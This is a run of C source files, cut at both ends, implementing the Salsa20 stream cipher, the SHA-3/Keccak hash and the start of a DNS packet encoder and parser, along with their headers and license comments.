7 * below (the "Work") to the public domain. A certifier, moreover, dedicates
8 * any copyright interest he may have in the associated work, and for these
9 * purposes, is described as a "dedicator" below.
10 *
11 * A certifier has taken reasonable steps to verify the copyright status of
12 * this work. Certifier recognizes that his good faith efforts may not shield
13 * him from liability if in fact the work certified is not in the public
14 * domain.
15 *
16 * Dedicator makes this dedication for the benefit of the public at large and
17 * to the detriment of the Dedicator's heirs and successors. Dedicator intends
18 * this dedication to be an overt act of relinquishment in perpetuity of all
19 * present and future rights under copyright law, whether vested or contingent,
20 * in the Work. Dedicator understands that such relinquishment of all rights
21 * includes the relinquishment of all rights to enforce (by lawsuit or
22 * otherwise) those copyrights in the Work.
23 *
24 * Dedicator recognizes that, once placed in the public domain, the Work may be
25 * freely reproduced, distributed, transmitted, used, modified, built upon, or
26 * otherwise exploited by anyone for any purpose, commercial or non-commercial,
27 * and in any way, including by methods that have not yet been invented or
28 * conceived.
29 */
30
31 #include <stddef.h>
32
33 #include "libs/types.h"
34
35 #include "salsa20.h"
36
37 /* Implements DJB's definition of '<<<' */
38 static uint32_t rotl(uint32_t value, int shift)
39 {
40 return (value << shift) | (value >> (32 - shift));
41 }
42
43 static void s20_quarterround(uint32_t *y0, uint32_t *y1, uint32_t *y2, uint32_t *y3)
44 {
45 *y1 = *y1 ^ rotl(*y0 + *y3, 7);
46 *y2 = *y2 ^ rotl(*y1 + *y0, 9);
47 *y3 = *y3 ^ rotl(*y2 + *y1, 13);
48 *y0 = *y0 ^ rotl(*y3 + *y2, 18);
49 }
50
51 static void s20_rowround(uint32_t y[])
52 {
53 s20_quarterround(&y[0], &y[1], &y[2], &y[3]);
54 s20_quarterround(&y[5], &y[6], &y[7], &y[4]);
55 s20_quarterround(&y[10], &y[11], &y[8], &y[9]);
56 s20_quarterround(&y[15], &y[12], &y[13], &y[14]);
57 }
58
59 static void s20_columnround(uint32_t x[])
60 {
61 s20_quarterround(&x[0], &x[4], &x[8], &x[12]);
62 s20_quarterround(&x[5], &x[9], &x[13], &x[1]);
63 s20_quarterround(&x[10], &x[14], &x[2], &x[6]);
64 s20_quarterround(&x[15], &x[3], &x[7], &x[11]);
65 }
66
67 static void s20_doubleround(uint32_t x[])
68 {
69 s20_columnround(x);
70 s20_rowround(x);
71 }
72
73 /* Creates a little-endian word from 4 bytes pointed to by b */
74 static uint32_t s20_littleendian(uint8_t *b)
75 {
76 return b[0] +
77 (b[1] << 8) +
78 (b[2] << 16) +
79 (b[3] << 24);
80 }
81
82 /* Moves the little-endian word into the 4 bytes pointed to by b */
83 static void s20_rev_littleendian(uint8_t *b, uint32_t w)
84 {
85 b[0] = (uint8_t)(w >> 0);
86 b[1] = (uint8_t)(w >> 8);
87 b[2] = (uint8_t)(w >> 16);
88 b[3] = (uint8_t)(w >> 24);
89 }
90
91 /* The core function of Salsa20 */
92 static void s20_hash(uint8_t seq[])
93 {
94 int i;
95 uint32_t x[16];
96 uint32_t z[16];
97
98 /* Create two copies of the state in little-endian format
99 * First copy is hashed together
100 * Second copy is added to first, word-by-word */
101 for (i = 0; i < 16; ++i)
102 x[i] = z[i] = s20_littleendian(seq + (4 * i));
103
104 for (i = 0; i < 10; ++i)
105 s20_doubleround(z);
106
107 for (i = 0; i < 16; ++i) {
108 z[i] += x[i];
109 s20_rev_littleendian(seq + (4 * i), z[i]);
110 }
111 }
112
113 /* The 16-byte (128-bit) key expansion function */
114 static void s20_expand16(uint8_t *k,
115 uint8_t n[],
116 uint8_t keystream[])
117 {
118 int i, j;
119 /* The constants specified by the Salsa20 specification, 'tau' "expand 16-byte k" */
120 uint8_t t[4][4] = {
121 { 'e', 'x', 'p', 'a' },
122 { 'n', 'd', ' ', '1' },
123 { '6', '-', 'b', 'y' },
124 { 't', 'e', ' ', 'k' }
125 };
126
127 /* Copy all of 'tau' into the correct spots in our keystream block */
128 for (i = 0; i < 64; i += 20)
129 for (j = 0; j < 4; ++j)
130 keystream[i + j] = t[i / 20][j];
131
132 /* Copy the key and the nonce into the keystream block */
133 for (i = 0; i < 16; ++i) {
134 keystream[4+i] = k[i];
135 keystream[44+i] = k[i];
136 keystream[24+i] = n[i];
137 }
138
139 s20_hash(keystream);
140 }
141
142
143 /* The 32-byte (256-bit) key expansion function */
144 static void s20_expand32(uint8_t *k,
145 uint8_t n[],
146 uint8_t keystream[])
147 {
148 int i, j;
149 /* The constants specified by the Salsa20 specification, 'sigma'
150 * "expand 32-byte k" */
151 uint8_t o[4][4] = {
152 { 'e', 'x', 'p', 'a' },
153 { 'n', 'd', ' ', '3' },
154 { '2', '-', 'b', 'y' },
155 { 't', 'e', ' ', 'k' }
156 };
157
158 /* Copy all of 'sigma' into the correct spots in our keystream block */
159 for (i = 0; i < 64; i += 20)
160 for (j = 0; j < 4; ++j)
161 keystream[i + j] = o[i / 20][j];
162
163 /* Copy the key and the nonce into the keystream block */
164 for (i = 0; i < 16; ++i) {
165 keystream[4+i] = k[i];
166 keystream[44+i] = k[i+16];
167 keystream[24+i] = n[i];
168 }
169
170 s20_hash(keystream);
171 }
172
173
174 /* Performs up to 2^32-1 bytes of encryption or decryption under a 128- or 256-bit key. */
175 enum s20_status_t s20_crypt(uint8_t *key,
176 enum s20_keylen_t keylen,
177 uint8_t nonce[],
178 uint32_t si,
179 uint8_t *buf,
180 uint32_t buflen)
181 {
182 uint8_t keystream[64];
183 /* 'n' is the 8-byte nonce (unique message number) concatenated
184 * with the per-block 'counter' value (4 bytes in our case, 8 bytes
185 * in the standard). We leave the high 4 bytes set to zero because
186 * we permit only a 32-bit integer for stream index and length. */
187 uint8_t n[16] = { 0 };
188 uint32_t i;
189
190 /* Pick an expansion function based on key size */
191 void (*expand)(uint8_t *, uint8_t *, uint8_t *) = NULL;
192 if (keylen == S20_KEYLEN_256)
193 expand = s20_expand32;
194 if (keylen == S20_KEYLEN_128)
195 expand = s20_expand16;
196
197 /* If any of the parameters we received are invalid */
198 if (expand == NULL || key == NULL || nonce == NULL || buf == NULL)
199 return S20_FAILURE;
200
201 /* Set up the low 8 bytes of n with the unique message number */
202 for (i = 0; i < 8; ++i)
203 n[i] = nonce[i];
204
205 /* If we're not on a block boundary, compute the first keystream
206 * block. This will make the primary loop (below) cleaner */
207 if (si % 64 != 0) {
208 /* Set the second-to-highest 4 bytes of n to the block number */
209 s20_rev_littleendian(n+8, si / 64);
210 /* Expand the key with n and hash to produce a keystream block */
211 (*expand)(key, n, keystream);
212 }
213
214 /* Walk over the plaintext byte-by-byte, xoring the keystream with
215 * the plaintext and producing new keystream blocks as needed */
216 for (i = 0; i < buflen; ++i) {
217 /* If we've used up our entire keystream block (or have just begun
218 * and happen to be on a block boundary), produce keystream block */
219 if ((si + i) % 64 == 0) {
220 s20_rev_littleendian(n+8, ((si + i) / 64));
221 (*expand)(key, n, keystream);
222 }
223
224 /* xor one byte of plaintext with one byte of keystream */
225 buf[i] ^= keystream[(si + i) % 64];
226 }
227
228 return S20_SUCCESS;
229 }
0 #ifndef __SALSA20_H__
1 #define __SALSA20_H__
2
3 #include <stddef.h>
4
5 #include "libs/types.h"
6
7 /**
8 * Return codes for s20_crypt
9 */
10 enum s20_status_t
11 {
12 S20_SUCCESS,
13 S20_FAILURE
14 };
15
16 /**
17 * Key size
18 * Salsa20 only permits a 128-bit key or a 256-bit key, so these are
19 * the only two options made available by this library.
20 */
21 enum s20_keylen_t
22 {
23 S20_KEYLEN_256,
24 S20_KEYLEN_128
25 };
26
27 /**
28 * Performs up to 2^32-1 bytes of encryption or decryption under a
29 * 128- or 256-bit key in blocks of arbitrary size. Permits seeking
30 * to any point within a stream.
31 *
32 * key Pointer to either a 128-bit or 256-bit key.
33 * No key-derivation function is applied to this key, and no
34 * entropy is gathered. It is expected that this key is already
35 * appropriate for direct use by the Salsa20 algorithm.
36 *
37 * keylen Length of the key.
38 * Must be S20_KEYLEN_256 or S20_KEYLEN_128.
39 *
40 * nonce Pointer to an 8-byte nonce.
41 * Does not have to be random, but must be unique for every
42 * message under a single key. Nonce reuse destroys message
43 * confidentiality.
44 *
45 * si Stream index.
46 * The position within the stream. When encrypting/decrypting
47 * a message sequentially from beginning to end in fixed-size
48 * chunks of length L, this value is increased by L on every
49 * call. Care must be taken not to select values that cause
50 * overlap. Example: encrypting 1000 bytes at index 100, and
51 * then encrypting 1000 bytes at index 500. Doing so will
52 * result in keystream reuse, which destroys message
53 * confidentiality.
54 *
55 * buf The data to encrypt or decrypt.
56 *
57 * buflen Length of the data in buf.
58 *
59 * This function returns either S20_SUCCESS or S20_FAILURE.
60 * A return of S20_SUCCESS indicates that basic sanity checking on
61 * parameters succeeded and encryption/decryption was performed.
62 * A return of S20_FAILURE indicates that basic sanity checking on
63 * parameters failed and encryption/decryption was not performed.
64 */
65 enum s20_status_t s20_crypt(uint8_t *key,
66 enum s20_keylen_t keylen,
67 uint8_t nonce[],
68 uint32_t si,
69 uint8_t *buf,
70 uint32_t buflen);
71
72 #endif
0 /* sha3.c - an implementation of Secure Hash Algorithm 3 (Keccak).
1 * based on the
2 * The Keccak SHA-3 submission. Submission to NIST (Round 3), 2011
3 * by Guido Bertoni, Joan Daemen, Michaël Peeters and Gilles Van Assche
4 *
5 * Copyright: 2013 Aleksey Kravchenko <[email protected]>
6 *
7 * Permission is hereby granted, free of charge, to any person obtaining a
8 * copy of this software and associated documentation files (the "Software"),
9 * to deal in the Software without restriction, including without limitation
10 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
11 * and/or sell copies of the Software, and to permit persons to whom the
12 * Software is furnished to do so.
13 *
14 * This program is distributed in the hope that it will be useful, but
15 * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
16 * or FITNESS FOR A PARTICULAR PURPOSE. Use this program at your own risk!
17 */
18
19 #include <assert.h>
20 #include <string.h>
21 #include "byte_order.h"
22 #include "sha3.h"
23
24 /* constants */
25 #define NumberOfRounds 24
26
27 /* SHA3 (Keccak) constants for 24 rounds */
28 static uint64_t keccak_round_constants[NumberOfRounds] = {
29 I64(0x0000000000000001), I64(0x0000000000008082), I64(0x800000000000808A), I64(0x8000000080008000),
30 I64(0x000000000000808B), I64(0x0000000080000001), I64(0x8000000080008081), I64(0x8000000000008009),
31 I64(0x000000000000008A), I64(0x0000000000000088), I64(0x0000000080008009), I64(0x000000008000000A),
32 I64(0x000000008000808B), I64(0x800000000000008B), I64(0x8000000000008089), I64(0x8000000000008003),
33 I64(0x8000000000008002), I64(0x8000000000000080), I64(0x000000000000800A), I64(0x800000008000000A),
34 I64(0x8000000080008081), I64(0x8000000000008080), I64(0x0000000080000001), I64(0x8000000080008008)
35 };
36
37 /* Initializing a sha3 context for given number of output bits */
38 static void keccak_init(sha3_ctx *ctx, unsigned bits)
39 {
40 /* NB: The Keccak capacity parameter = bits * 2 */
41 unsigned rate = 1600 - bits * 2;
42
43 memset(ctx, 0, sizeof(sha3_ctx));
44 ctx->block_size = rate / 8;
45 assert(rate <= 1600 && (rate % 64) == 0);
46 }
47
48 /**
49 * Initialize context before calculating hash.
50 *
51 * @param ctx context to initialize
52 */
53 void sha3_224_init(sha3_ctx *ctx)
54 {
55 keccak_init(ctx, 224);
56 }
57
58 /**
59 * Initialize context before calculating hash.
60 *
61 * @param ctx context to initialize
62 */
63 void sha3_256_init(sha3_ctx *ctx)
64 {
65 keccak_init(ctx, 256);
66 }
67
68 /**
69 * Initialize context before calculating hash.
70 *
71 * @param ctx context to initialize
72 */
73 void sha3_384_init(sha3_ctx *ctx)
74 {
75 keccak_init(ctx, 384);
76 }
77
78 /**
79 * Initialize context before calculating hash.
80 *
81 * @param ctx context to initialize
82 */
83 void sha3_512_init(sha3_ctx *ctx)
84 {
85 keccak_init(ctx, 512);
86 }
87
88 /* Keccak theta() transformation */
89 static void keccak_theta(uint64_t *A)
90 {
91 unsigned int x;
92 uint64_t C[5], D[5];
93
94 for (x = 0; x < 5; x++) {
95 C[x] = A[x] ^ A[x + 5] ^ A[x + 10] ^ A[x + 15] ^ A[x + 20];
96 }
97 D[0] = ROTL64(C[1], 1) ^ C[4];
98 D[1] = ROTL64(C[2], 1) ^ C[0];
99 D[2] = ROTL64(C[3], 1) ^ C[1];
100 D[3] = ROTL64(C[4], 1) ^ C[2];
101 D[4] = ROTL64(C[0], 1) ^ C[3];
102
103 for (x = 0; x < 5; x++) {
104 A[x] ^= D[x];
105 A[x + 5] ^= D[x];
106 A[x + 10] ^= D[x];
107 A[x + 15] ^= D[x];
108 A[x + 20] ^= D[x];
109 }
110 }
111
112 /* Keccak pi() transformation */
113 static void keccak_pi(uint64_t *A)
114 {
115 uint64_t A1;
116 A1 = A[1];
117 A[ 1] = A[ 6];
118 A[ 6] = A[ 9];
119 A[ 9] = A[22];
120 A[22] = A[14];
121 A[14] = A[20];
122 A[20] = A[ 2];
123 A[ 2] = A[12];
124 A[12] = A[13];
125 A[13] = A[19];
126 A[19] = A[23];
127 A[23] = A[15];
128 A[15] = A[ 4];
129 A[ 4] = A[24];
130 A[24] = A[21];
131 A[21] = A[ 8];
132 A[ 8] = A[16];
133 A[16] = A[ 5];
134 A[ 5] = A[ 3];
135 A[ 3] = A[18];
136 A[18] = A[17];
137 A[17] = A[11];
138 A[11] = A[ 7];
139 A[ 7] = A[10];
140 A[10] = A1;
141 /* note: A[ 0] is left as is */
142 }
143
144 /* Keccak chi() transformation */
145 static void keccak_chi(uint64_t *A)
146 {
147 int i;
148 for (i = 0; i < 25; i += 5) {
149 uint64_t A0 = A[0 + i], A1 = A[1 + i];
150 A[0 + i] ^= ~A1 & A[2 + i];
151 A[1 + i] ^= ~A[2 + i] & A[3 + i];
152 A[2 + i] ^= ~A[3 + i] & A[4 + i];
153 A[3 + i] ^= ~A[4 + i] & A0;
154 A[4 + i] ^= ~A0 & A1;
155 }
156 }
157
158 static void sha3_permutation(uint64_t *state)
159 {
160 int round;
161 for (round = 0; round < NumberOfRounds; round++)
162 {
163 keccak_theta(state);
164
165 /* apply Keccak rho() transformation */
166 state[ 1] = ROTL64(state[ 1], 1);
167 state[ 2] = ROTL64(state[ 2], 62);
168 state[ 3] = ROTL64(state[ 3], 28);
169 state[ 4] = ROTL64(state[ 4], 27);
170 state[ 5] = ROTL64(state[ 5], 36);
171 state[ 6] = ROTL64(state[ 6], 44);
172 state[ 7] = ROTL64(state[ 7], 6);
173 state[ 8] = ROTL64(state[ 8], 55);
174 state[ 9] = ROTL64(state[ 9], 20);
175 state[10] = ROTL64(state[10], 3);
176 state[11] = ROTL64(state[11], 10);
177 state[12] = ROTL64(state[12], 43);
178 state[13] = ROTL64(state[13], 25);
179 state[14] = ROTL64(state[14], 39);
180 state[15] = ROTL64(state[15], 41);
181 state[16] = ROTL64(state[16], 45);
182 state[17] = ROTL64(state[17], 15);
183 state[18] = ROTL64(state[18], 21);
184 state[19] = ROTL64(state[19], 8);
185 state[20] = ROTL64(state[20], 18);
186 state[21] = ROTL64(state[21], 2);
187 state[22] = ROTL64(state[22], 61);
188 state[23] = ROTL64(state[23], 56);
189 state[24] = ROTL64(state[24], 14);
190
191 keccak_pi(state);
192 keccak_chi(state);
193
194 /* apply iota(state, round) */
195 *state ^= keccak_round_constants[round];
196 }
197 }
198
199 /**
200 * The core transformation. Process the specified block of data.
201 *
202 * @param hash the algorithm state
203 * @param block the message block to process
204 * @param block_size the size of the processed block in bytes
205 */
206 static void sha3_process_block(uint64_t hash[25], const uint64_t *block, size_t block_size)
207 {
208 /* expanded loop */
209 hash[ 0] ^= le2me_64(block[ 0]);
210 hash[ 1] ^= le2me_64(block[ 1]);
211 hash[ 2] ^= le2me_64(block[ 2]);
212 hash[ 3] ^= le2me_64(block[ 3]);
213 hash[ 4] ^= le2me_64(block[ 4]);
214 hash[ 5] ^= le2me_64(block[ 5]);
215 hash[ 6] ^= le2me_64(block[ 6]);
216 hash[ 7] ^= le2me_64(block[ 7]);
217 hash[ 8] ^= le2me_64(block[ 8]);
218 /* if not sha3-512 */
219 if (block_size > 72) {
220 hash[ 9] ^= le2me_64(block[ 9]);
221 hash[10] ^= le2me_64(block[10]);
222 hash[11] ^= le2me_64(block[11]);
223 hash[12] ^= le2me_64(block[12]);
224 /* if not sha3-384 */
225 if (block_size > 104) {
226 hash[13] ^= le2me_64(block[13]);
227 hash[14] ^= le2me_64(block[14]);
228 hash[15] ^= le2me_64(block[15]);
229 hash[16] ^= le2me_64(block[16]);
230 /* if not sha3-256 */
231 if (block_size > 136) {
232 hash[17] ^= le2me_64(block[17]);
233 #ifdef FULL_SHA3_FAMILY_SUPPORT
234 /* if not sha3-224 */
235 if (block_size > 144) {
236 hash[18] ^= le2me_64(block[18]);
237 hash[19] ^= le2me_64(block[19]);
238 hash[20] ^= le2me_64(block[20]);
239 hash[21] ^= le2me_64(block[21]);
240 hash[22] ^= le2me_64(block[22]);
241 hash[23] ^= le2me_64(block[23]);
242 hash[24] ^= le2me_64(block[24]);
243 }
244 #endif
245 }
246 }
247 }
248 /* make a permutation of the hash */
249 sha3_permutation(hash);
250 }
251
252 #define SHA3_FINALIZED 0x80000000
253
254 /**
255 * Calculate message hash.
256 * Can be called repeatedly with chunks of the message to be hashed.
257 *
258 * @param ctx the algorithm context containing current hashing state
259 * @param msg message chunk
260 * @param size length of the message chunk
261 */
262 void sha3_update(sha3_ctx *ctx, const unsigned char *msg, size_t size)
263 {
264 size_t index = (size_t)ctx->rest;
265 size_t block_size = (size_t)ctx->block_size;
266
267 if (ctx->rest & SHA3_FINALIZED) return; /* too late for additional input */
268 ctx->rest = (unsigned)((ctx->rest + size) % block_size);
269
270 /* fill partial block */
271 if (index) {
272 size_t left = block_size - index;
273 memcpy((char*)ctx->message + index, msg, (size < left ? size : left));
274 if (size < left) return;
275
276 /* process partial block */
277 sha3_process_block(ctx->hash, ctx->message, block_size);
278 msg += left;
279 size -= left;
280 }
281 while (size >= block_size) {
282 uint64_t* aligned_message_block;
283 if (IS_ALIGNED_64(msg)) {
284 /* the most common case is processing of an already aligned message
285 without copying it */
286 aligned_message_block = (uint64_t*)msg;
287 } else {
288 memcpy(ctx->message, msg, block_size);
289 aligned_message_block = ctx->message;
290 }
291
292 sha3_process_block(ctx->hash, aligned_message_block, block_size);
293 msg += block_size;
294 size -= block_size;
295 }
296 if (size) {
297 memcpy(ctx->message, msg, size); /* save leftovers */
298 }
299 }
300
301 /**
302 * Store calculated hash into the given array.
303 *
304 * @param ctx the algorithm context containing current hashing state
305 * @param result calculated hash in binary form
306 */
307 void sha3_final(sha3_ctx *ctx, unsigned char* result)
308 {
309 size_t digest_length = 100 - ctx->block_size / 2;
310 const size_t block_size = ctx->block_size;
311
312 if (!(ctx->rest & SHA3_FINALIZED))
313 {
314 /* clear the rest of the data queue */
315 memset((char*)ctx->message + ctx->rest, 0, block_size - ctx->rest);
316 ((char*)ctx->message)[ctx->rest] |= 0x06;
317 ((char*)ctx->message)[block_size - 1] |= 0x80;
318
319 /* process final block */
320 sha3_process_block(ctx->hash, ctx->message, block_size);
321 ctx->rest = SHA3_FINALIZED; /* mark context as finalized */
322 }
323
324 assert(block_size > digest_length);
325 if (result) me64_to_le_str(result, ctx->hash, digest_length);
326 }
327
328 #ifdef USE_KECCAK
329 /**
330 * Store calculated hash into the given array.
331 *
332 * @param ctx the algorithm context containing current hashing state
333 * @param result calculated hash in binary form
334 */
335 void keccak_final(sha3_ctx *ctx, unsigned char* result)
336 {
337 size_t digest_length = 100 - ctx->block_size / 2;
338 const size_t block_size = ctx->block_size;
339
340 if (!(ctx->rest & SHA3_FINALIZED))
341 {
342 /* clear the rest of the data queue */
343 memset((char*)ctx->message + ctx->rest, 0, block_size - ctx->rest);
344 ((char*)ctx->message)[ctx->rest] |= 0x01;
345 ((char*)ctx->message)[block_size - 1] |= 0x80;
346
347 /* process final block */
348 sha3_process_block(ctx->hash, ctx->message, block_size);
349 ctx->rest = SHA3_FINALIZED; /* mark context as finalized */
350 }
351
352 assert(block_size > digest_length);
353 if (result) me64_to_le_str(result, ctx->hash, digest_length);
354 }
355 #endif /* USE_KECCAK */
0 /* sha3.h */
1 #ifndef __SHA3_H__
2 #define __SHA3_H__
3 #include "ustd.h"
4
5 #ifdef __cplusplus
6 extern "C" {
7 #endif
8
9 #define sha3_224_hash_size 28
10 #define sha3_256_hash_size 32
11 #define sha3_384_hash_size 48
12 #define sha3_512_hash_size 64
13 #define sha3_max_permutation_size 25
14 #define sha3_max_rate_in_qwords 24
15
16 /**
17 * SHA3 Algorithm context.
18 */
19 typedef struct sha3_ctx
20 {
21 /* 1600 bits algorithm hashing state */
22 uint64_t hash[sha3_max_permutation_size];
23 /* 1536-bit buffer for leftovers */
24 uint64_t message[sha3_max_rate_in_qwords];
25 /* count of bytes in the message[] buffer */
26 unsigned rest;
27 /* size of a message block processed at once */
28 unsigned block_size;
29 } sha3_ctx;
30
31 /* methods for calculating the hash function */
32
33 void sha3_224_init(sha3_ctx *ctx);
34 void sha3_256_init(sha3_ctx *ctx);
35 void sha3_384_init(sha3_ctx *ctx);
36 void sha3_512_init(sha3_ctx *ctx);
37 void sha3_update(sha3_ctx *ctx, const unsigned char* msg, size_t size);
38 void sha3_final(sha3_ctx *ctx, unsigned char* result);
39
40 #ifdef USE_KECCAK
41 #define keccak_224_init sha3_224_init
42 #define keccak_256_init sha3_256_init
43 #define keccak_384_init sha3_384_init
44 #define keccak_512_init sha3_512_init
45 #define keccak_update sha3_update
46 void keccak_final(sha3_ctx *ctx, unsigned char* result);
47 #endif
48
49 #ifdef __cplusplus
50 } /* extern "C" */
51 #endif /* __cplusplus */
52
53 #endif /* __SHA3_H__ */
0 /* ustd.h common macros and includes */
1 #ifndef LIBRHASH_USTD_H
2 #define LIBRHASH_USTD_H
3
4 #if _MSC_VER >= 1300
5
6 # define int64_t __int64
7 # define int32_t __int32
8 # define int16_t __int16
9 # define int8_t __int8
10 # define uint64_t unsigned __int64
11 # define uint32_t unsigned __int32
12 # define uint16_t unsigned __int16
13 # define uint8_t unsigned __int8
14
15 /* disable warnings: The POSIX name for this item is deprecated. Use the ISO C++ conformant name. */
16 #pragma warning(disable : 4996)
17
18 #else /* _MSC_VER >= 1300 */
19
20 # include <stdint.h>
21 # include <unistd.h>
22
23 #endif /* _MSC_VER >= 1300 */
24
25 #if _MSC_VER <= 1300
26 # include <stdlib.h> /* size_t for vc6.0 */
27 #endif /* _MSC_VER <= 1300 */
28
29 #endif /* LIBRHASH_USTD_H */
0 /* dns.c
1 * By Ron Bowes
2 * Created December, 2009
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <assert.h>
8 #include <ctype.h> /* For isspace(). */
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12
13 #ifdef WIN32
14 #include <winsock2.h>
15 #include <windns.h>
16 #include <ws2tcpip.h>
17 #else
18 #include <arpa/inet.h>
19 #include <netinet/in.h>
20 #include <sys/socket.h>
21 #include <sys/types.h>
22 #endif
23
24 #include "buffer.h"
25 #include "memory.h"
26
27 #include "dns.h"
28
29 static void buffer_add_dns_name(buffer_t *buffer, char *name)
30 {
31 char *domain_base = safe_strdup(name);
32 char *domain_start;
33 char *domain_end;
34
35 domain_start = domain_base;
36 while((domain_end = strchr(domain_start, '.')))
37 {
38 /* Set the end of the string to null. */
39 *domain_end = '\0';
40 /* Add it to the buffer. */
41 buffer_add_int8(buffer, strlen(domain_start));
42 buffer_add_string(buffer, domain_start);
43
44 /* Move the 'start' string to the next character. */
45 domain_start = domain_end + 1;
46 }
47 /* Add the last part to the buffer, if we have one (if not, just add the null byte). */
48 if(strlen(domain_start))
49 {
50 buffer_add_int8(buffer, strlen(domain_start));
51 buffer_add_string(buffer, domain_start);
52 }
53
54 /* Add the final null byte. */
55 buffer_add_int8(buffer, 0x00);
56
57 /* Can't forget to free our pointer. */
58 safe_free(domain_base);
59 }
60
61 static char *buffer_read_dns_name_at(buffer_t *buffer, uint32_t offset, uint32_t *real_length)
62 {
63 uint8_t piece_length;
64 uint32_t pos = 0;
65 buffer_t *ret = buffer_create(BO_NETWORK);
66
67 /* Read the first character -- it's the size of the initial string. */
68 piece_length = buffer_read_int8_at(buffer, offset + pos);
69 pos++;
70
71 while(piece_length)
72 {
73 if(piece_length & 0x80)
74 {
75 if(piece_length == 0xc0)
76 {
77 uint8_t relative_pos = buffer_read_int8_at(buffer, offset + pos);
78 char *new_data;
79 pos++;
80
81 new_data = buffer_read_dns_name_at(buffer, relative_pos, NULL);
82 buffer_add_string(ret, new_data);
83 safe_free(new_data);
84
85 /* Setting piece_length to 0 makes the loop end. */
86 piece_length = 0;
87 }
88 else
89 {
90 fprintf(stderr, "DNS server returned an unknown character in the string: 0x%02x\n", piece_length);
91 DIE("Couldn't process string");
92 }
93 }
94 else
95 {
96 uint8_t *piece = (uint8_t*) safe_malloc(piece_length);
97 buffer_read_bytes_at(buffer, offset + pos, piece, piece_length);
98 buffer_add_bytes(ret, piece, piece_length);
99 safe_free(piece);
100
101 pos = pos + piece_length;
102
103 /* Read the next length. */
104 piece_length = buffer_read_int8_at(buffer, offset + pos);
105
106 /* If the next piece exists, add a period. */
107 if(piece_length)
108 buffer_add_int8(ret, '.');
109
110 /* Increment the position. */
111 pos++;
112 }
113 }
114
115 /* Add a final null terminator to the string. */
116 buffer_add_int8(ret, '\0');
117
118 if(real_length)
119 *real_length = pos;
120
121 return (char*)buffer_create_string_and_destroy(ret, NULL);
122 }
123
124 static char *buffer_read_next_dns_name(buffer_t *buffer)
125 {
126 char *result;
127 uint32_t actual_length;
128
129 result = buffer_read_dns_name_at(buffer, buffer_get_current_offset(buffer), &actual_length);
130 buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + actual_length);
131
132 return result;
133 }
134
135 static char *buffer_read_ipv4_address_at(buffer_t *buffer, uint32_t offset, char result[16])
136 {
137 #ifdef WIN32
138 printf("NOT IMPLEMENTED!\n");
139 exit(1);
140 #else
141 uint8_t addr[4];
142
143 buffer_read_bytes_at(buffer, offset, addr, 4);
144 inet_ntop(AF_INET, addr, result, 16);
145 #endif
146
147 return result;
148 }
149
150 static char *buffer_read_next_ipv4_address(buffer_t *buffer, char result[16])
151 {
152 buffer_read_ipv4_address_at(buffer, buffer_get_current_offset(buffer), result);
153 buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + 4);
154
155 return result;
156 }
157
158 static buffer_t *buffer_add_ipv4_address(buffer_t *buffer, char *address)
159 {
160 #ifdef WIN32
161 SOCKADDR_IN MyAddrValue;
162 int MyAddrSize = sizeof(struct sockaddr_storage);
163 MyAddrValue.sin_family = AF_INET;
164 WSAStringToAddressA(address, AF_INET, NULL, (LPSOCKADDR)&MyAddrValue, &MyAddrSize);
165
166 buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b1);
167 buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b2);
168 buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b3);
169 buffer_add_int8(buffer, MyAddrValue.sin_addr.S_un.S_un_b.s_b4);
170 #else
171 uint8_t out[4];
172 inet_pton(AF_INET, address, out);
173 buffer_add_bytes(buffer, out, 4);
174 #endif
175
176 return buffer;
177 }
178
179 static char *buffer_read_ipv6_address_at(buffer_t *buffer, uint32_t offset, char result[40])
180 {
181 #ifdef WIN32
182 printf("NOT IMPLEMENTED!\n");
183 exit(1);
184 #else
185 uint8_t addr[16];
186
187 buffer_read_bytes_at(buffer, offset, addr, 16);
188 inet_ntop(AF_INET6, addr, result, 40);
189 #endif
190
191 return result;
192 }
193
194 static char *buffer_read_next_ipv6_address(buffer_t *buffer, char result[40])
195 {
196 buffer_read_ipv6_address_at(buffer, buffer_get_current_offset(buffer), result);
197 buffer_set_current_offset(buffer, buffer_get_current_offset(buffer) + 16);
198
199 return result;
200 }
201
202 buffer_t *buffer_add_ipv6_address(buffer_t *buffer, char *address)
203 {
204 #ifdef WIN32
205 /* Only works on modern versions of Windows -- not good enough.
206
207 SOCKADDR_IN6 MyAddrValue;
208 int MyAddrSize = sizeof(struct sockaddr_storage);
209 MyAddrValue.sin6_family = AF_INET6;
210
211 printf("String: %s\n", address);
212 if(WSAStringToAddressA(address, AF_INET6, NULL, (LPSOCKADDR)&MyAddrValue, &MyAddrSize) != 0)
213 {
214 printf("WSAStringToAddress() failed with error code %ld\n", getlasterror());
215 }
216
217 buffer_add_bytes(buffer, MyAddrValue.sin6_addr.u.Byte, 16); */
218 fprintf(stderr, "Sorry, IPv6 (AAAA) addresses aren't supported on Windows.\n");
219 buffer_add_bytes(buffer, "AAAAAAAAAAAAAAAA", 16);
220 #else
221 uint8_t out[16];
222
223 inet_pton(AF_INET6, address, out);
224 buffer_add_bytes(buffer, out, 16);
225 #endif
226
227 return buffer;
228 }
229
230 static dns_t *dns_create_internal()
231 {
232 dns_t *dns = (dns_t*) safe_malloc(sizeof(dns_t));
233 memset(dns, 0, sizeof(dns_t));
234
235 return dns;
236 }
237
238 dns_t *dns_create(dns_opcode_t opcode, dns_flag_t flags, dns_rcode_t rcode)
239 {
240 dns_t *dns = dns_create_internal();
241
242 dns->trn_id = rand() & 0xFFFF;
243 dns->opcode = opcode;
244 dns->flags = flags;
245 dns->rcode = rcode;
246
247 return dns;
248 }
249
250 dns_t *dns_create_from_packet(uint8_t *packet, size_t length)
251 {
252 uint16_t i;
253 buffer_t *buffer = buffer_create_with_data(BO_NETWORK, packet, length);
254 dns_t *dns = dns_create_internal();
255 uint16_t flags;
256
257 dns->trn_id = buffer_read_next_int16(buffer);
258 flags = buffer_read_next_int16(buffer);
259 dns->question_count = buffer_read_next_int16(buffer);
260 dns->answer_count = buffer_read_next_int16(buffer);
261 dns->authority_count = buffer_read_next_int16(buffer);
